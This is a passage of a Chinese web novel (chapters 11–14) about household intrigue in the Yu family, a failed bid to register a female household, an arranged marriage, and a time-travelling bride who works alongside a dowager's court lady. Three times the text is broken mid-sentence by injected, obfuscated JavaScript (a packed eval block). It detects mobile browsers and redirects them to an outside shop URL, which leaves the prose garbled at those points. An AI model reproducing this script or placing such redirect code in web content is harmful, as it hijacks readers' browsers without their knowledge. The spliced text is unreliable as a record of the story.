宾客们一开始只当是普通合婚，没想到闹了一场，不亏还能看戏嚼舌根，可待圆脸女郎一露面，在场的都是世家豪族，认不得脸也认得那柄刀。 她是太后的女官。自新皇登基，太后自请入寺清修，再未公开露面过，而太后身旁的女官也鲜少现面。 太原于氏竟搬得出太后，众人掂量着，不敢再拿替亲的荒唐举动做笑话，权当见证了一出天生缘分。 新妇新郎不在场，宴上氛围好了不少，主客相欢，纷纷夸起太原厨子手艺，觥筹交错，言笑晏晏，这才是喜宴的样子。 香早就燃尽，至夜深还有余韵，味道散尽已经是次日清晨，白嘉圆路过廊庑，婢女们正忙着拆下檐下熏球。 “少夫人安好。” 白嘉园朝她们摆手，又摸出几块碎银子来分发，“分些喜气给大家，都辛苦了。” 没等婢女们惶恐谢恩，白嘉园又问：“我来向老太君请安，不知她是否醒了？” “老太君一早就起来了，大太太也在呢，少夫人这会去正好。” 得了这句话，白嘉园一连说了几个好，脚步踌躇几番，捏着拳往堂屋里闯去。 不远处花门外，春苗见了这一出，她瘪嘴：“姑娘！您瞧她这副做派，以为给些小恩小惠就能打动人了！” 今个一大早，黎姣姣就被春苗唤醒，伺候着早早向老太君请了安，回屋的路上，春苗嘀嘀咕咕的，不是说新妇坏话，就是叫唤连天。 新妇进门，马红翠和春苗两人是同仇敌忾，将她看作眼中钉，只因于家少夫人的位置被抢，还是以冲喜这般荒谬的方式。 黎姑娘盼着一生一世一双人，对这豪世之家的长公子未曾有意。 加之对于婚姻一事，她也不容许随意提起轻贱自个。 马红翠和春苗没敢提抢亲事的话头，横竖也要找些不顺眼的地方挑错新妇。 黎姣姣自然知道她们心里的盘算，不过是个男人，空有的少夫人名头，她这会一颗心盼着立女户的消息，谁的话也不在意。 心中所念，正巧遇上许玟素，没等黎姣姣先开口，她没藏住笑，小跑着前来：“成了。” 黎姣姣惊喜：“果真？” 她的一颗心软呼呼，腑脏间又酸又涩，含糊听得许玟素还在说话：“不过现下府衙大人们忙着恩科考试，待放榜后才能拿文书。” 不过是等待，黎姣姣安心，她深呼吸，不过是等待而已。 11. 大少爷 “许久没见姐姐这么松快的样子了。” 许玟素眼弯弯，也替黎姣姣开心起来，她雀跃道：“黄娘子允了口信，说是立户一事板上钉钉，跑不了的，这段日子你不如先去圈地，瞧上哪块，先叫留着。” 黎姣姣摇头轻声：“田地于我意义不大，对流民们可不一样，剩下的地随便选一处就好。” “你呀你呀，就是心善。” 逢面匆匆言语，两人别过，许玟素提起裙摆跑远，着急请安去。 “还好咱们去得早，免得像许姑娘这样着急忙慌。” 闻言，黎姣姣暗自好笑，春苗这番话说得太单纯，本是新妇入门头一日，她们一家人认亲请安，而她一个外人本不该掺合。 也没费口舌点明这点，黎姣姣安排春苗去寻马红翠来见她，“你和她说，花小子我也得见一面，让两人一块来。” 春苗回了个是，左拐朝着角门出府，黎姣姣独自优哉游哉往听绿园走。 过抄手回廊，见晨光和煦照得庭园流水波光粼粼，暖冬哄得野花早早绽放，三折板桥曲折延至隔岸花亭，行至目光处，黎姣姣这才发现亭里坐了人。 于盛奕还是一身月白色长袍，鱼饰玉冠，发却没扎齐整，他瘦，亭柱将他遮个严实，慵懒地靠着栏杆，目光放向水面。 步子不算轻，一路踢着碎石子，这般响动也没惹来长公子一个回头，想来他心情算不上美妙，黎姣姣行半礼，简单问好，没待他回话，正欲离去。 男人开口：“请完安了？” 她答是，并未再多话。 “坐。” 黎姣姣一愣，现下并无旁人，是叫她坐？和男人一块赏景、谈心，算不上难事，可若换成于盛奕就困难了。 他多说一个字就喘得不行，见黎姣姣没动静，扭过脸来又催了一道，几声咳嗽让黎姣姣麻利坐到栏边，可不敢让他再催，冷气过肺只怕咳得更厉害。 “虽有些阳光，可毕竟是冬日里，大少爷也应让人伺候着，多添些暖。” 短促的一声笑，没听清是何情绪，于盛奕低睫微动，与眼下的绯红暧昧触碰，他一咳就引得面色潮红，从目到唇。 玉郎好颜色，黎姣姣没见过这般男子。 “可怜啊。” 一句三喘，于盛奕将头转过来，黎姣姣与他视线相对，又听他补完话句：“我。” “您何必自怜，过往之事不可追，如今成了家，身子也见好，无论是家事、国事，均是一番新景象，您的前程大着呢。” 于盛奕又发出一声笑，并不接话，依旧盯着流水。 光秃秃的水面，即没有落花流水的画意，也没有清波荡漾的诗情，偶有涟漪，但更长时间是平静，近乎平淡的平静，黎姣姣回过神来，发觉自己竟也沉迷到这片平静之中。 起风，和煦日光携来的些许暖意穿过流水变得幽冷，黎姣姣感到手有些发凉，她蜷缩手掌不动声色地摩掌取热。 风越发急，天也隐约暗了些，远远隔着桥有男声喊：“大少爷！” 冷风引出小厮们抱着披风四处寻人。 见于盛奕依旧迎风赏景，黎姣姣叹气，暗自翻白眼，这人嘴都冻得发紫。 “我没有大少爷这般雅兴，就先请辞。” 说完自顾自快步离开，她算清楚玉郎君是个什么性子，风骨能拿做拌饭吃的人。 回到院里，见几个小厮如无头苍蝇一般乱寻人，黎姣姣手指道：“他在亭中，你们悄悄去，拿一件厚斗篷给他披上，完了再轻轻回来。” “他兴致不错，别拿俗事扰了他。” 几个小厮就差跪下谢她，黎姣姣摆手制止，又开口：“动作轻些，也不用说是我差你们去做的，你们家这位啊，是个琉璃人物，费不着知晓这些。” 回到厢房，春苗早早拉下帘来隔绝掉发冻的北风。 “姑娘回来了，这风起得好急，估摸着又要冷起来了。” 春苗一听见动静，立马抱上件兔儿袄替主子披上，她搓热手帮主子暖脸和手，又端上一杯热茶，嘀咕抱怨起天气。 捧着茶碗，暖意传递四肢，黎姣姣语气带上惫懒：“就得痛快冷一场才好，待立春慢慢暖和起来才是好时节。” 她又问：“马大婆呢？” 正提起她，门帘被掀开一侧，话语先传来：“好怪的天气，竟然开始落雨雪了。” 马红翠顶着湿润的发走进来，跟在她身后的是个瘦弱的少年样子。 见黎姣姣瘫坐在贵妃榻上，她扯出身后的人对他道：“这就是我们姑娘，你以后的东家，最是个心善的人，快，给姑娘见礼！” 少年显然很少拘礼，抱拳合掌互乱动作，活像个拙劣仿照大人的稚童。 “这就是花小子？比我想的还要单薄些。” 黎姣姣笑意盈盈，说出的话却让花小子胆寒，“连我都看得出是个丫头模样，怎么敢当个男孩养？” 花小子闻言双膝一软，噗通跪倒在地，背上的包袱顺着脊背砸到后脑勺，她一下一下拿额头磕出沉闷的咚咚声。 屋外想来风更烈，呼呼地作响，黎姣姣侧耳听了几息，对春苗道：“这下更好了，瑞雪兆丰年呢。” 春苗笑着说是，朝马红翠递上个眼神，马红翠微微点头，一把拎起地上的瘦猴架子，扳起她的头仰着朝向主子。 “都说了我们姑娘那就是个菩萨性子，你放松些，不过玩笑几句，瞧你吓得。”马红翠皱眉对花小子训斥道，“拿出你的伶俐样子来给姑娘瞧瞧。” 黎姣姣瞧着也心疼：“哎哟，额头都发青了，不晓得你母亲见了得多心痛。” “不，不疼，姑娘这处连地都是香软的。” 花小子站定，从背包里取出两本厚锦衣册，她翻开里页，白棉纸上用细丝线规矩地缝满方寸布料，颜色由深至浅整齐排列。 “东市那栋小楼，听闻姑娘有意做成衣铺子，小人便理了一份鄂州各铺面料、花样图册。”花小子手腕细细一截，需得双手才能稳稳托住图册，“小人想着，这册子若能帮上姑娘一点，也是小人几辈子的福气。” “鄂州风俗却与京都大不同，我是晕了头才敢大言不惭要建一铺成衣店，原料难得，染色、纺织、刺绣，细细一想全都费功夫，冷静下来觉得并不是个好主意。” 黎姣姣起身拿起那本图册，着实重，单手拿起险些脱手，春苗箭步上来替她端着册子，她顺手翻开，页页做得精细，布料、制式、图样，或是实物、或是手绘，黎姣姣不由得称赞：“做得这样好。” “可惜你的心血了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17349356|199584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她话音刚落，两声急切的话语重叠。 花小子竟然抢过马红翠的调子，急急问：“可店内装修过大半，难不成要舍了？” “总要舍一些，才不会叫人拿捏住，你说是不是这个道理，马大婆？” 马红翠脸色一变，咬牙，重重出脚踢翻花小子，她啐道：“显着你来教主子做事！” 她转向黎姣姣，气焰低下来：“奴既得了姑娘的吩咐办事，自然要替姑娘想得万全些。” “你若事事想到了，我反倒觉得自个蠢笨，好婆子，只求你少想一点，也让我试试动动脑子呢？” “奴明了。”马红翠回声。 “带着花小子下去吧，天冷了，拿吊钱给他添件衣。” 待两人弯腰后撤离开屋内，春苗嘟起嘴来忿忿道：“马婆子也学到欺上这套，教来一个混小子。” “连你都看出来了？”黎姣姣故作惊讶。 “姑娘！” 受不了春苗两个字转三个音，她乐呵地打断傻丫头的撒娇。 “马大婆本就算不得忠心，现下需得用她，只能轻微敲打一番，那孩子装出一副害怕被我看穿的样子，分明是张狡猾的脸。 额头磕得响也没破点皮，准备功夫做得深可见是个圆滑性子，进屋来短短几句话，言语对不上动作，野心藏得浅薄，这种人……” 黎姣姣给自己说得沉默，她竟觉得这小子脾性与她挺相似。 “明明是个女娃却要装男人，瘦得个尖嘴猴腮样，行事也轻浮。” 春苗是个爱之欲其生、恶之欲其死的性子，诚然她并无自己的爱恨，是爱主子所爱、恶主子所恶，见马红翠伙同外人来蒙黎姑娘，她心里冒起火。 三更过，湿漉漉的路面冷得足够存起积雪，细细的雪一粒一粒被风卷裹打着旋转起来，待雪粒结合成雪片，才压过风落到地上。 只可惜，雪片层层并不紧实，人踩两步就散了、化了，脏污一片被划成南来北往的印迹。 一天明，雪啊、泥污啊、步痕啊全都消散，这日是个晴朗天气，昨日的劲风、细雪恍如幻觉一般。 “好怪的天气！” 许玟素一见到黎姣姣就向她抱怨。 黎姣姣搭腔：“是呢，昨日还以为能积起雪来。” “是啊，是啊。” 得到懒洋洋的一句搭话，黎姣姣没好气道：“说吧，又怎么了，这幅样子是谁又触你霉头了？” 得到黎姣姣关心，许玟素更觉心烦，横躺着翻滚，爬起来发鬓乱得不成样子，蕊儿替她重新梳发，手轻手重的刺得许玟素不耐烦，她推开蕊儿干脆一头乱发扎进黎姣姣怀里。 “春苗呢？没听她唠叨？” “昨夜里受了寒，让她修养着呢。” “好吧。” 许玟素不再说话，又开始长吁短叹起来。 “行了，我可不像蕊儿一样惯着你，再不说，我也懒得多问。” “唉，这事也小，说出来你肯定……” 许玟素顿了顿，黎姣姣拿手点她额头，怀疑道：“肯定？莫不是老太君又派了什么事给你？” “正是了！”许玟素长叹，“与你也有关，事关城郊女户置田，本是件简单事，可现在太后面前的那个女官也掺合进来了！” 12. 搁置 “何须惊动太后？”黎姣姣心惊，嘴里问得也快，生怕立户一事因皇家介入出了岔子。 她又补充：“那片都是沙地，常年荒芜，本没有什么价值，且也是新皇推恩允许置买的，再者，黄大人不是正缺这份民意，等着开春上递奏疏吗？” 鄂州的黄大人已在这片土地耕耘了七年有余，右迁艰难，但经朝中大动，扯出萝卜留下坑，也就让边臣的心蠢蠢欲动。 “原是这样的。”许玟素点头，“我也才知道，那片地之前是永业田，专门种诸柘。” “之前？多久之前？莫不是前朝的？” 许玟素回是。 黎姣姣倒吸一口凉气，几番欲开口说话，又咽下不语，过了半晌，她又才平静发问：“以前怎么没提起呢？” “老一辈不敢说，年轻人又记不明白，想来当初也是一方望族在此建厂制糖，本朝以后再也没了踪影，没想到昨日居然被午女官翻出来嚼嘴。” 许玟素耸肩，又道：“落在年节前，这事是由民生署督办，按律该替流民们立了户，不过因着开年新皇恩科要紧，文书落定给耽误了，没户籍文书，置买一事也跟着耽误。” “瞧着好些人，都已经在年内修好了新房，他们怎么办？” “只差一纸文书而已，每家人什么户、哪块地，不管是州府大人还是流民百姓，心里都是分明的，只是现在又坎坷起来，兴许是留不下了。” “可怜这群流民，流离失所竟要成了终命。”黎姣姣幽幽叹气，心里呕死，沾上前朝事本朝官只会一刀斩，对于官老爷来说无非是空留着一块本就闲置的沙地，至于流民如何谁又在意。 黎姣姣也不在意他们，她现在整个人的皮肉、灵魂分割开，皮肉还能装出一副忧心样子冷静与许玟素对话，灵魂早就诅咒起皇帝、太后、官员—— 她的女户，终究是立不成。 灵魂在怒骂，同时又开始飞速地找下一条路，许玟素终将会嫁人，这座于宅势必要把年轻女郎推出去或是吃进来。 骂够了，黎姣姣也接受了，她还剩最后的杀手锏——婚事。 不动声色将话题扯开，黎姣姣又问：“老太君想让你做什么呢？” 许玟素扭捏着不愿开口，吞吞吐吐才说明白，“午女官钦定，让黄太太与她重新督办流民立户置田一事。” 至于为何是黄太太，除她是州府大人的正妻以外，黄太太母家原是暨城有名的书香门第，与太后母家是沾了姻亲的。 “而你与黄家娘子本就交好。”黎姣姣明了，“老太君想让你也一起，只是……” “想是黄太太的手笔，她不愿背上染指公务的名声，于是邀来鄂州城里各家太太、小姐们，对外说是在太后面前露脸的慈善活动。” “原来如此，这倒对你的名声大有益处。” “外祖母正有此意。”许玟素坐正，“可我不愿意。” 黎姣姣劝：“流民也可怜，你还能有个好名声，再者，拿主意的事都是大人物来做，担责也轮不到你。” “这是其一，还有……”许玟素叹息轻，停顿也短暂，速速接上话，“我的婚事定下了，韦鸿胪的胞弟。” “是他？定了？” 韦鸿胪，是鸿胪寺正卿的花名，韦氏一家，其父官至礼部尚书，不过是前年的事，其胞弟在京都是有名的秀才公子，虽然今年才头次下场参考，这一家人，家风清白、官运亨通，倒是不错的对象。 “是了，姐姐该明白，这时推我出去刷名声是为何吧。” “或许是多想了……” 许玟素苦涩一笑：“连姐姐都寻不出话来安慰我了吗？这一两年不知家中找了多少借口、开了多少宴，就为替我相看人家。 不同于别家是媒婆上门提亲，外祖母想着让我自己相看，些许能有感情基础，避免母亲那般……” “又说伤心话了，老太君想得周到，一心是为你好，为你挑选的这位如意郎君，家世品行都是一等的。” “或许吧，这位韦公子，听说是个好人。” “良婿难得，想必是于娘子在天之灵保佑你呢。” “真的吗？母亲是会保佑我觅得良人，还是会愿我不作新妇呢，外祖母为我千万般着想，却还是要把我嫁出去，她以为避免母亲的下场无非是换个夫婿，可你清楚，姐姐，你清楚啊……” 第一回见到许家娘子，黎姣姣丱发一髻松散混不自觉，门牙缺了颗，声音甜甜的，像一块饴糖，黏糊着听不清。 那正是京都六月，暑气渐盛，天光微亮，苟太太带粗妇二三，行车至观音山。 “叫车稳当些。” 从温热的额头到红扑扑的脸蛋，苟太太轻柔抚摸，至上而下流连，手下似是块上好的羊脂玉，她对身边嬷嬷细声，又用手背将黎姣姣脸侧的发丝拨开。 “可怜见的，昨夜里高热又吐又泻，等会你让大师再多添一柱平安香。” 老嬷嬷点头开口：“小姐黏您呢，不像二少爷，被贱妇教唆着跟您离了心。” “你这话不对，那孩子是她生养，自当孝顺她。” 黎姣姣当时年幼加之病重，耳边嗡嗡作响，只隐约听得——“满宅子、奸娼事。” 皇觉寺常年不绝供香，以至于才到山脚，就扑面而来一波一波夹着暑热的檀香。 黎姣姣向来不喜欢这股味，冬日里还能冷气还能压压它，夏日里热气就同伴着为虎作伥。 “太太。” “还晕吗？你别起身，叫个丫头背你上去。” “无妨，多谢太太。” “你呀。”苟太太素色水葱般指尖轻点黎姣姣脸侧，让她的小脸轻微凹成一洼小圆。 黎姣姣脸热，只觉得太太摸过的地方反倒凉一些，于是不由得拿脸去迎太太的手。 “太太，小小姐，咱们到了。” 轿外的婆子说话，黎姣姣自个理好了衣裙，苟太太看着好笑，末了才提醒她发髻也乱了，眼见黎姣姣咬着嘴小手扑着去理发。 噗嗤一声，连着苟太太几个婆子都没忍住笑出声来，乐呼：“小小姐果真是个小大人。” 苟太太不似外界以为的那般不苟言笑，她反而及其随和，黎姣姣有时明白，自己所有的小心机都会在太太面前一展无遗。 因她遇见许太太，那人病怏怏地跪拜，挺个大肚子，双手合十，明明状是最虔诚的信徒，却能在黎姣姣对着佛像挤眉弄眼时抓住她，也对她送上眨眼。 那人同苟太太一样，也是某家的主母。 三响叩拜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17349357|199584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 完，各回各屋。 黎姣姣假意偷溜出门，越过两栋厢房，来到一处被药腌入味的屋子，味道同殿上的女人如出一辙，她便知晓，这处就是那位许太太的住处。 许太太是个苦命人，是京都后宅中经久的谈资，从她还是个姑娘，订婚、再到成亲、管家、求子，桩桩件件无不被人嚼过舌头。 于是，黎姣姣也晓得这位传闻中的许太太。 她依偎在门侧，双手才能推开门档一角，对着屋里脆生生喊道：“是许太太吗？” 屋内侍女穿梭不停，没人理会一个小孩，黎姣姣也不气馁，身形一扭就钻进里间，浓郁的腥臭味扑面而来，黎姣姣小脸皱巴，卷起衣袖牢牢捂住口鼻。 “好孩子，拿这个香囊能好受些。” 这是许太太同她说的第一句话。 往后常常念叨这个人，黎姣姣后知后觉，许太太并非人尽皆知的苦角，她过得自得自乐，只是这份乐，是因大限将至，又或是因秉性纯良，黎姣姣一直想不通。 香囊散发出果子的甜香和清新，刺手的粗布上头缝有两只笨鸟，一胖一瘦，竟背过枝头红硕一片飞去。 “喜欢这个香囊吗？”许太太反手又拿出另一只，亦是两只鸟儿，高高绣在云端，同丰裕的水草在这片布头上天各一方。 黎姣姣正是缺了颗牙、又要脸面的年纪，一般不说话，非得说话也要慢吞吞地逐字逐句，好似含了一块粘糊不清的饴糖。 “许太太安好。” “你也好。” 许太太有模有样回话，引得一旁萎靡的婆子破功发笑，她接过往来侍女们送上的药，仔细吹凉，白瓷骨朵般的小盏盛满乌黑浓稠的汤药，这样的药许太太足喝了三碗。 “瞧着是苟家的二小姐，姨娘生的那个。” “孩子而已，还分谁家的、谁生的？” 黎姣姣当时还听不懂平淡语气下的愤怒，至于姨娘生的，这话她听得多。 “好姑娘！” 老婆子竟发出一声嗔怪，娇滴滴的，同她那副样貌年纪实在不相干，又接连喊了两三声主子，声音越发轻也越发急—— “姑娘，要不到榻上小睡吧。” 黎姣姣睁眼，是春苗。 春苗捧着一件软衣，想要替她披上，黎姣姣摇头，这一觉睡得轻快，身子却觉得沉重。 同许玟素不欢而散，她竟梦见许家娘子了。 黎姣姣发闷，她对许玟素的恐惧，懂也不太懂，婚事而已，怎会如此看重，小许姑娘总以为成亲之后，便只有丈夫的心和后院四方天，可这些，作为妻子为何不能放弃呢。 许家娘子，不也是放弃了吗？无端端的，黎姣姣又想到那人，十余年前的酸甜香味仿佛还在鼻尖，她拿起一只果子，在日头下晒的有些蔫，于是很好剥开，皮被划开，炸开一小片水汽，味道发甘解乏。 她扯过念头，又想，婚事不能是助力吗？她不能借由夫婿的背景达成自己的欲望野心吗？她不能玩弄丈夫的心吗？她不能在婚姻中独善其身吗？ 翌日。 许玟素还是称病回绝了东郊的差事，出乎意料的，新妇白嘉园自愿接下这桩抛头露面的官司。 白嘉园，正如在外的所有传言一般，是个怪异的女人。 13. 白嘉园 “小白，快起床！一天到晚磨磨蹭蹭，你这样下去……” “妈~起了起了，马上马上。” 一直在回话，仍听老妈还在门外絮絮叨叨，白嘉园不由加大声量，气运丹田吼出：“真起床了！别骂了！” 揉揉眼睛，宽袖顺着手腕滑至关节，轻柔温润的触感，好似在安抚，是哦，她穿越了，这里没人会念叨她，更没人会扯着嗓子叫她起床。 鱼贯而入的侍女携来玫瑰香气，白嘉园迷迷糊糊起身，任由着她们伺候洗簌，脑子在想：这个时代连玫瑰都有了？ 经常穿越的朋友们都知道，穿越女最忌讳暴露自己，因此当白嘉园反应过来时，她已经尽量按照这个时代对女子的要求行事。 虽然良心仍在，但她也拿不准自己的处境，是穿越还是穿书，自己是女主还是炮灰。 直到嫁给于盛奕，她懂了，自己是女主。 “衣服我自己穿，翠翠吃过早饭没？” 双丫髻的粉妆侍女微微弯身，回道用过。 “那就好，再过一个小……额半个时辰后，你们再来找我。” “翠翠知道了。” 翠翠是原主的贴身婢女，更是头个发现白嘉园与原主不是同一人的人。 白嘉园从翠翠口中大致拼凑出原主的半生来，白佳媛，白氏三房嫡女，自幼父母双亡，这一房只她一个独苗苗，在家中虽有地位却无实权，长得很是艰难，直至被选为于氏少夫人，日子堪堪好过些。 想来主子的日子都不好过，何况一个婢女，两人那些年，只怕一主一仆也非是相依为命，才至于见了主子性情大变，第一时间非是告发而是掩盖，并得了新主子的好立马投诚。 白嘉园感激、也心疼这个小丫头，她深知要忘掉过去的伤痛，除了理发便是改名，待她嫁到于府之后，便替婢女改名叫做翠翠。 绿意盎然，如春天一样生机勃勃的名字。 两列侍女顺从地离开屋内，行至院门外才摇摇脑袋、晃晃手臂，三两小姐妹帮着锤捏，好让身子松软些。 “要我说，这位少夫人也太好伺候些，真羡慕你啊扶绿姐姐，打小就跟个这么好的主。” 扶绿依旧不苟言笑，站得直挺挺，她视线盯着远处，说：“现在我名叫翠翠。” 维鹊有巢，维鸠居之。 “瞧那杜鹃鸟，圆滚滚的好生可怜。” “你把这窝的主人打跑了，鹊鸟难不成不可怜。” “嚼什么舌头，还难不成不，我只道打只鸟儿不难，再说，杜鹃鸟叫得喜庆，大家都爱听，都喜欢它，留着它就比鹊鸟好！” 两个小丫头互相打闹嬉笑，一人绕了半个圈，挥动手帕将鹊鸟扇远去。 扶绿冷冰冰的模样在一众欢声笑语里刺眼，但谁又会在意一个奴婢的情绪。 辰巳交替，扶绿应时邦邦敲响房门，“少夫人，时辰到了。” 门被拉开，露出竟是于盛奕的脸，还没等侍女们行礼问好，扶绿率先说道：“少夫人，这样于理不合。” 几个小丫头抬起脑袋仔细辨认，原来是少夫人呀！ 大婚那日便知大少爷与少夫人天作之合，八字对、夫妻相，没曾想少夫人穿上男袍，更是与大少爷相似。 “好翠翠，我这身……”白嘉园手腕一转合起折扇，指着自己从头到脚，“无关礼数，而是命令啊。” 穿男装，白嘉园不觉得稀奇，可她也纳闷，毕竟这要求不是由她提出的。 “走吧，还得去东郊，尽早动身，回来兴许能赶上晚饭。” 白嘉园折扇往前一甩，唰得大展开，扇面之下浑然天成的少年意气，引得宅中老人侧目—— 若是大少爷…… 扶绿跟在白嘉园身后，依旧面无表情。 路程不短，车程不慢。 东郊这块荒地，雨后春笋一般长出了新屋，按府衙的说法，这批流民是非法侵占土地？ 白嘉园嗤笑，自古没有这样的事，哪怕这个古同她的古不一。拢上车帘，白嘉园朝外高声：“师傅，快些走，直接去午女官处。” 马夫答道，鞭下的马儿也神速起来，哒哒步伐不止，啪啪鞭声不停。 待到女官处，马儿粗粗喘气，白嘉园落地伸手抚摸马儿脖颈，“好马儿，回去给你加鸡腿。” 折扇又大大一展，“走！” 步履之间衣摆纷飞，白嘉园步子向来大，裙钗难免限制，今日束发直袍，便从心中生出一股畅快之意。 正是晴天香风，颇有得意，隔着远远还有欢声笑语传来，白嘉园收好表情，踏入软香粉罗帷处，就见女宾坐在地上，婢女丫鬟们穿着单衣，额上冒出细细汗珠，外衣则是围席挂了一圈。 众人见一袭男袍的白嘉园，不少太太吓得坐正起来，把单薄的丫头拉过挡在面前，丫头们不害羞，眼睛滴溜溜地盯着她瞧。 “这位？” “嘉园妹妹，你可算来了。” 午女官出声热情招待，她长发挽起，上身褚色圆领直袍，衣领大大敞开露出满颈的金玉和胸脯上绣有牡丹花纹的胸衣。 头个出声问话的太太，也不是旁人，正是于氏一门的旁支，称得上于盛奕的——远房姨母。 她脸色算不上好，问：“于家媳妇？” 白嘉园没记起有这位亲戚，只当别人认不得她，于是介绍道：“您好，我是白嘉园，前些日子是刚与于盛奕成了亲，您认得？” “于家莫不是昏了头才娶了你？莫不说此处全是女眷，就是有外男在，也不该如此装扮，府中上下竟无人懂礼仪二字？由得你这副样子出来丢人现眼！” 白嘉园只是一笑，并不在意。 午女官抬手，劝：“红梅君勿恼，是我让她穿成这样的，今日大家来作诗饮酒，本就是学郎君一般，既如此，又何需穿着不便的衣裙。” 她又对白嘉园招手，“好姑娘，你也来挑个雅号，今后宴会，各位都需以号相称，某太太、某媳妇，似农妇之语，不雅。” 在座的太太、媳妇均相视一笑，管是心里怎么想，嘴上纷纷应和起来。 “这会耷拉个脸，你是存心与太后过不去？想想郎君的前程，那才是要紧事。” 听了手帕交一言，被称做红梅君的于太太便也扯出来个笑，闷声回：“晓得了，蜜桔君。” 如此快乐场景，丝毫感染不到白嘉园半分，她可从来不知今日是来赴宴，心欲追问，却被午女官递过的清酒堵住嘴。 午女官端起一盏，不语，豪饮一大口。 白嘉园没那么潇洒，她捧着酒盏，颇有份量的青瓷大盏，装满是浑浊的清酒。 对这个时代而言，无疑是最清冽的好酒，可对白嘉园而言，分层的混浊物，发酸的酒味，都在诉说着古法制酒的不靠谱。 她一边往喉中倒酒，一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17349358|199584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边脑子里闪过—— “某男子在家自酿酒，喝完上吐下泄进医院”的新闻报道。 接连又大灌两口。 她猛地一拍大腿，刚拿到的offer还没回复邮件呢！怎么办，跑了整个秋招、换了四座城市才拿到的offer啊！ 喉咙越发渴。 五险两金，十天年假，跟做梦一样美好，梦？她是在做梦吗？ 伸出手掌，白嘉园隔着衣袖搓搓自己手臂。 唔，好柔顺的面料，这不是我七十九块钱就能买到的聚酯纤维吧。唔……我好像？是穿越了来着…… 眼皮扑闪扑闪，最终挡不住醉意合上。 扶绿细心照顾主子，拿起一把蒲扇替她散去酒气，微敞的领口被醉酒的主人越拉越大，锁骨处狰狞的肉粉色疤痕就这样裸露露出，刺中扶绿的眼。 她朝午女官致歉，“小姐从未饮酒，还望大人海涵。” 午女官点点头，为自己斟满一盏，端杯贴上嘴，她轻声：“是啊，白小姐原是不饮酒的。” 扶绿听闻，后背发寒如坠冰泉。 她不敢，也不想用言语解释，好在午女官并不在意，另找一位陪客继续痛饮。 久违的酣梦，直到被忽而轻柔的呼声唤醒。 黎姣姣睁眼，已是黄昏，近日初春又返寒，她受了凉、也嗜睡些，受病的身体、难测的前程，任谁都会心安理得浪费这天光。 “姑娘，可不能再多睡，虽说大夫叫您多歇息，可人睡久了身子沉、头也昏，不如趁日光没完全散，您去园子里走走散散心罢。” “也好。” 听绿园不负之名，春意已然满目嫩色，自于府大婚过后，黎姣姣自觉不再往大院里散步，虽说于盛奕也不太可能爬着出门活动，但黎姣姣很好把握住尺度，一个未婚女子借住，本不应该张扬，更何况这家已经有了少夫人。 只是这少夫人，整日抛头露面—— “听几个婆子碎嘴，这府上银钱官司又闹不清，还不如之前两位姑娘代管的时候呢。” 春苗躲在黎姣姣耳后，细细念叨着这些日听来的碎话。 “那新妇，得了外头午女官的青睐，竟日日不着家，新婚这几日将新郎、婆嫂都是晾在一边，行事轻狂，真叫人瞧不上。” 时不时表露自己对白女的厌恶，也是春苗悟得替主子解困的法子。 哪知黎姣姣听过，更是萎靡，春苗见状，只当主子心善听不得，又赶忙扯些别的胡话来宽慰她—— 人人都瞧不上白女，背过身来都要骂一句其乖张无状，可白女依旧我行我素，非但没受影响，还整日陪在午女官身边，自于氏大宅往城郊来回奔波。 除了听春苗的酸话，黎姣姣没有任何动作，她日日看着白嘉园出门、夜夜等着白嘉园回屋。 一连数十日，白女越发勤勉投身在外，怪的是，府中的闲言碎语却少了下来，黎姣姣琢磨过味道——此女不被家中庶务所困，甚至不被婚姻规矩所困。 白嘉园做得，竟是男人的事。 是她父兄每日奔波的事！ 连这些下贱的奴婢都看出这一点，因而他们渐渐不以少夫人的身份看待、要求白嘉园。 黎姣姣清醒过来，如若被神明的手劈开脑子，将她那些听过的、想过的——关于情爱的比较、关于两女争夫的隐秘计划都抽出。 白女与她，天壤之别。 14. 余孽 忽然间，只见黎姣姣咯嘣起身，像一粒落在地面的豆子那样清脆利落。 不能这样下去，她心想，咳嗽着，急急踱步往外走。 于府宅内有一处太湖石园，小湖面上有架三折石桥，一岸是高低不一的石山绿苔，是一处好景致，又成湖后天然的歧路。 听绿园坐落在府中深处，深宅女子，不住在深处怎行。 赏景往东，绕过太湖石，再过小桥，翠竹前是连屋成排的于氏书房，世家得名亦在于藏书，因此依湖修建书房，一是做防火，二是好叫这片小竹长得喜人。 宁可食无肉，不可居无竹。可惜，自从于大少爷染病，家中再无男丁读书，书屋这处徒剩冷清，以及穿过湖面的风吹响竹叶簌簌。 